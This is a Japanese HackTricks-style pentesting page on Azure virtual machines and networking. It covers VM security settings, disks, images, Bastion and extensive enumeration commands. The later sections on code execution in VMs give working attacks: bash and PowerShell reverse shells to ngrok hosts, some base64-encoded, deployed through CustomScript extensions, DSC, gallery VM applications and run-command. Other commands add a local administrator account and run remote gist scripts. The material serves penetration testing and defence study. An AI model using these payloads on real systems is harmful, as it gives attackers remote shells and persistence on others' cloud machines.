# Az - 仮想マシンとネットワーク

{{#include ../../../../banners/hacktricks-training.md}}

## Azure ネットワーキング基本情報

Azure ネットワークには **異なるエンティティと構成方法があります。** 様々な Azure ネットワークエンティティの **簡単な説明、** **例、** および **列挙** コマンドは以下にあります:

{{#ref}}
az-azure-network.md
{{#endref}}

## VMs 基本情報

Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウドベースのサーバーで、Windows または Linux オペレーティングシステムを実行できます。** 物理ハードウェアを管理することなく、アプリケーションやワークロードを展開できます。Azure VMs は、特定のニーズに応じてさまざまな CPU、メモリ、およびストレージオプションで構成でき、仮想ネットワーク、ストレージ、セキュリティツールなどの Azure サービスと統合できます。

### セキュリティ構成

- **可用性ゾーン**: 可用性ゾーンは、特定の Azure リージョン内のデータセンターの異なるグループで、物理的に分離されており、複数のゾーンがローカルの障害や災害の影響を受けるリスクを最小限に抑えます。
- **セキュリティタイプ**:
- **標準セキュリティ**: これは特別な構成を必要としないデフォルトのセキュリティタイプです。
- **信頼できる起動**: このセキュリティタイプは、Secure Boot と仮想トラステッドプラットフォームモジュール (vTPM) を使用して、ブートキットやカーネルレベルのマルウェアに対する保護を強化します。
- **機密 VM**: 信頼できる起動に加えて、VM、ハイパーバイザー、およびホスト管理間のハードウェアベースの分離を提供し、ディスク暗号化を改善し、[**その他**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
- **認証**: デフォルトでは新しい **SSH キーが生成されます**が、公開鍵を使用したり、以前のキーとデフォルトのユーザー名 **azureuser** を使用することも可能です。また、**パスワード**を使用するように構成することもできます。
- **VM ディスク暗号化**: ディスクはデフォルトでプラットフォーム管理キーを使用して静止状態で暗号化されます。
- **ホストでの暗号化**を有効にすることも可能で、データはストレージサービスに送信する前にホストで暗号化され、ホストとストレージサービス間のエンドツーエンドの暗号化が保証されます ([**ドキュメント**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))。
- **NIC ネットワークセキュリティグループ**:
- **なし**: 基本的にすべてのポートを開放します
- **基本**: HTTP (80)、HTTPS (443)、SSH (22)、RDP (3389) の受信ポートを簡単に開放できます
- **高度**: セキュリティグループを選択します
- **バックアップ**: **標準**バックアップ (1 日に 1 回) と **強化** (1 日に複数回) を有効にすることができます
- **パッチオーケストレーションオプション**: これは、選択したポリシーに従って VM に自動的にパッチを適用することを可能にします ([**ドキュメント**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching))。
- **アラート**: VM で何かが発生したときに、メールやモバイルアプリで自動的にアラートを受け取ることができます。デフォルトのルール:
- CPU 使用率が 80% を超える
- 利用可能なメモリバイトが 1GB 未満
- データディスク IOPS 消費率が 95% を超える
- OS IOPS 消費率が 95% を超える
- ネットワーク合計が 500GB を超える
- ネットワークアウト合計が 200GB を超える
- VmAvailabilityMetric が 1 未満
- **ヘルスモニター**: デフォルトではポート 80 で HTTP プロトコルをチェックします
- **ロック**: VM をロックして、読み取り専用 (**ReadOnly** ロック) または読み取りと更新は可能だが削除はできない (**CanNotDelete** ロック) にすることができます。
- ほとんどの VM 関連リソース **もロックをサポート**しています (ディスク、スナップショットなど)。
- ロックは **リソースグループおよびサブスクリプションレベル**でも適用できます。

## ディスクとスナップショット

- **ディスクを 2 つ以上の VM にアタッチすることを有効にする**ことができます。
- デフォルトでは、すべてのディスクは **暗号化**されています。
- スナップショットでも同様です。
- デフォルトでは、**すべてのネットワークからディスクを共有する**ことが可能ですが、特定の **プライベートアクセス** のみに **制限**したり、**公開およびプライベートアクセスを完全に無効に**することもできます。
- スナップショットでも同様です。
- **ディスクをエクスポートするための SAS URI** (最大 60 日間) を **生成する**ことができ、認証を要求するように構成することも可能です。
- スナップショットでも同様です。

{{#tabs}}
{{#tab name="az cli"}}
```bash
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```bash
# List all disks
Get-AzDisk

# Get info about a disk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
```
{{#endtab}}
{{#endtabs}}

## 画像、ギャラリー画像と復元ポイント

**VMイメージ**は、**新しい仮想マシン（VM）**を作成するために必要なオペレーティングシステム、アプリケーション設定、およびファイルシステムを含むテンプレートです。イメージとディスクスナップショットの違いは、ディスクスナップショットが単一の管理ディスクの読み取り専用の時点コピーであり、主にバックアップやトラブルシューティングに使用されるのに対し、イメージは**複数のディスクを含むことができ、新しいVMを作成するためのテンプレートとして機能するように設計されています**。\
イメージは、Azureの**イメージセクション**または**Azureコンピュートギャラリー**内で管理でき、**バージョン**を生成したり、イメージをテナント間で**共有**したり、さらには公開することもできます。

**復元ポイント**は、VMの構成と、VMに接続されているすべての管理ディスクの**時点での**アプリケーション整合性のある**スナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。

{{#tabs}}
{{#tab name="az cli"}}
```bash
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>

## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>

# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
```
{{#endtab}}
{{#endtabs}}

## Azure Site Recovery

[**ドキュメント**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview)から: Site Recoveryは、障害時にビジネスアプリケーションとワークロードを稼働させることで、ビジネスの継続性を確保します。Site Recoveryは、物理および仮想マシン（VM）で稼働しているワークロードをプライマリサイトからセカンダリロケーションに**レプリケート**します。プライマリサイトで障害が発生した場合、セカンダリロケーションにフェイルオーバーし、そこからアプリにアクセスします。プライマリロケーションが再稼働した後、元に戻すことができます。

## Azure Bastion

Azure Bastionは、Azureポータルまたはジャンプボックスを介して、仮想マシン（VM）への安全でシームレスな**リモートデスクトッププロトコル（RDP）**および**セキュアシェル（SSH）**アクセスを可能にします。これにより、VMに対する**パブリックIPアドレスの必要性を排除**します。

Bastionは、必要なVNetに`AzureBastionSubnet`という名前のサブネットを`/26`のネットマスクでデプロイします。次に、ブラウザを使用して`RDP`および`SSH`を介して内部VMに**接続**できるようにし、VMのポートをインターネットに公開することを避けます。また、**ジャンプホスト**としても機能します。

サブスクリプション内のすべてのAzure Bastionホストをリストし、それらを介してVMに接続するには、次のコマンドを使用できます。

{{#tabs}}
{{#tab name="az cli"}}
```bash
# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```bash
# List bastions
Get-AzBastion
```
{{#endtab}}
{{#endtabs}}

## メタデータ

Azureインスタンスメタデータサービス（IMDS）は、**実行中の仮想マシンインスタンスに関する情報を提供**し、その管理と構成を支援します。SKU、ストレージ、ネットワーク構成、今後のメンテナンスイベントに関する情報などの詳細を提供し、**非ルーティングIPアドレス169.254.169.254**で利用可能なREST APIを介してアクセスできます。これはVM内からのみアクセス可能です。VMとIMDS間の通信はホスト内に留まり、安全なアクセスを確保します。IMDSをクエリする際、VM内のHTTPクライアントは適切な通信を確保するためにウェブプロキシをバイパスする必要があります。

さらに、メタデータエンドポイントに連絡するには、HTTPリクエストに**`Metadata: true`**というヘッダーを含め、**`X-Forwarded-For`**というヘッダーを含めてはいけません。

それを列挙する方法を確認してください：

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}

## VM列挙

{{#tabs}}
{{#tab name="az cli"}}
```bash
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table
```
{{#endtab }}

{{#tab name="Az Powershell" }}
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)


# Disks
## List all disks and get info about one
Get-AzDisk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>

# Snapshots
## List all galleries abd get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all snapshots and get info about one
Get-AzSnapshot
Get-AzSnapshot -Name <SnapshotName> -ResourceGroupName <ResourceGroupName>

## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>

## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>

# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>

# Bastion
## List bastions
Get-AzBastion

# Network
## List all VNets in your subscription
Get-AzVirtualNetwork

## List VNet peering connections for a given VNet
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).VirtualNetworkPeerings

## List Shared Resources (e.g., Azure Firewall) in the Hub
Get-AzFirewall

## List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>

## List VPN Connections
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>

## List ExpressRoute Circuits
Get-AzExpressRouteCircuit

# Misc
## List all virtual machine scale sets
Get-AzVmss

## List all availability sets
Get-AzAvailabilitySet

## List all load balancers
Get-AzLoadBalancer

## List all storage accounts
Get-AzStorageAccount

## List all custom script extensions on a specific VM
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>

```
{{#endtab }}
{{#endtabs }}

## VMsにおけるコード実行

### VM拡張機能

Azure VM拡張機能は、Azure仮想マシン（VM）上での**デプロイ後の構成**および自動化タスクを提供する小さなアプリケーションです。

これにより、**VM内で任意のコードを実行**することが可能になります。

必要な権限は**`Microsoft.Compute/virtualMachines/extensions/write`**です。

利用可能なすべての拡張機能をリストすることができます：

{{#tabs }}
{{#tab name="Az Cli" }}
```bash
# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
{{#endtab }}
{{#endtabs }}

カスタムコードを実行する**カスタム拡張機能を実行することが可能です**：

{{#tabs }}
{{#tab name="Linux" }}

- リバースシェルを実行する
```bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- インターネット上にあるスクリプトを実行する
```bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
```
{{#endtab }}

{{#tab name="Windows" }}

- リバースシェルを実行する
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Execute it
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand  "}'

```
- ファイルからリバースシェルを実行する
```bash
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
他のペイロードを実行することもできます: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`

- VMAccess拡張機能を使用してパスワードをリセットする
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
{{#endtab }}
{{#endtabs }}

### 関連する VM 拡張機能

必要な権限は依然として **`Microsoft.Compute/virtualMachines/extensions/write`** です。

<details>

<summary>VMAccess 拡張機能</summary>

この拡張機能は、Windows VM 内のユーザーのパスワードを変更する（または存在しない場合は作成する）ことを可能にします。
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
</details>

<details>

<summary>DesiredStateConfiguration (DSC)</summary>

これは、Azure Windows VMの構成を管理するためにPowerShell DSCを使用するMicrosoftの**VM拡張機能**です。したがって、この拡張機能を通じてWindows VMで**任意のコマンドを実行**するために使用できます：
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
```
</details>

<details>

<summary>ハイブリッドランブックワーカー</summary>

これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張機能です。詳細については、[Automation Accounts service](../az-automation-account/index.html)を確認してください。

</details>

### VMアプリケーション

これらは、VM内でアプリケーションを簡単に追加および削除するために使用できる**アプリケーションデータおよびインストールおよびアンインストールスクリプト**を含むパッケージです。
```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
```
これらは、アプリケーションがファイルシステム内にダウンロードされるパスです：

- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`

新しいアプリケーションのインストール方法については、[https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)を確認してください。

> [!CAUTION]
> **個々のアプリやギャラリーを他のサブスクリプションやテナントと共有することが可能です**。これは非常に興味深いことで、攻撃者がアプリケーションにバックドアを仕掛け、他のサブスクリプションやテナントにピボットすることを可能にするかもしれません。

しかし、**vmアプリ用の「マーケットプレイス」は、拡張機能用のものとは異なり存在しません**。

必要な権限は次のとおりです：

- `Microsoft.Compute/galleries/applications/write`
- `Microsoft.Compute/galleries/applications/versions/write`
- `Microsoft.Compute/virtualMachines/write`
- `Microsoft.Network/networkInterfaces/join/action`
- `Microsoft.Compute/disks/write`

任意のコマンドを実行するためのエクスプロイト例：

{{#tabs }}
{{#tab name="Linux" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
```
{{#endtab }}

{{#tab name="Windows" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Windows \
--location "West US 2"

# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "
az sig gallery-application version create \
--version-name 1.0.0 \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
--update-command "powershell.exe -EncodedCommand $encodedCommand"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name deleteme-win4 \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
--treat-deployment-as-failure true
```
{{#endtab }}
{{#endtabs }}

### ユーザーデータ

これは**永続データ**であり、メタデータエンドポイントからいつでも取得できます。AzureのユーザーデータはAWSやGCPとは異なることに注意してください。**ここにスクリプトを置いても、デフォルトでは実行されません**。

### カスタムデータ

VMにいくつかのデータを渡すことが可能で、期待されるパスに保存されます：

- **Windows**では、カスタムデータは`%SYSTEMDRIVE%\AzureData\CustomData.bin`にバイナリファイルとして配置され、処理されません。
- **Linux**では、`/var/lib/waagent/ovf-env.xml`に保存されていましたが、現在は`/var/lib/waagent/CustomData/ovf-env.xml`に保存されています。
- **Linuxエージェント**：デフォルトではカスタムデータを処理しません。データが有効なカスタムイメージが必要です。
- **cloud-init:** デフォルトではカスタムデータを処理し、このデータは[**いくつかのフォーマット**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)である可能性があります。カスタムデータにスクリプトを送信するだけで、簡単にスクリプトを実行できます。
- UbuntuとDebianの両方がここに置いたスクリプトを実行することを試しました。
- これが実行されるためにユーザーデータを有効にする必要はありません。
```bash
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
```
### **コマンドの実行**

これは、Azureが**VM内で任意のコマンドを実行する**ために提供する最も基本的なメカニズムです。必要な権限は`Microsoft.Compute/virtualMachines/runCommand/action`です。

{{#tabs }}
{{#tab name="Linux" }}
```bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
```
{{#endtab }}

{{#tab name="Windows" }}
```bash
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
--resource-group Research \
--name juastavm \
--command-id RunPowerShellScript \
--scripts @revshell.ps1

## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

